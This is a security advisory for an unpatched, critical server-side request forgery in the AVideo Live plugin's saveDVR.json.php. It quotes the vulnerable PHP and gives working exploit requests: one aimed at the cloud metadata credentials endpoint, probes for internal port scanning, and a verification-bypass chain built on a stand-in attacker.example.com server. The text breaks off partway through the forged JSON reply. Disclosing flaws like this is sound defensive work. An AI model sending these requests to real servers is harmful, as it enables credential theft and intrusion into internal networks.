GitHub Security Advisory: GHSA-5f7v-4f6g-74rj
Package: wwbn/avideo (COMPOSER)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

Details:
### Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.

### Affected Component

**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28

```php
$streamerURL = ""; // change it to your streamer URL

$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
    include_once $configFile;
    $streamerURL = $global['webSiteRootURL'];
}

if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED
}

// ...

$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL);           // SSRF
```

### Root Cause

1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST['webSiteRootURL']` with no validation.
2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.
3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.

### Exploitation

#### Part 1: Basic SSRF (Internal Network Access)

```
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
```

The server fetches:
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
```

While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` — differentiate open/closed ports by response time and error messages.
- **Internal service access:** `webSiteRootURL=http://internal-service/` — reach services behind the firewall.
- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.

#### Part 2: Verification Bypass + Downstream Command Execution Chain

This is the more severe attack chain:

1. The attacker sets up a server at `https://attacker.example.com/` with the path:
   ```
   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php
   ```
   That returns:
   ```json
   {"error":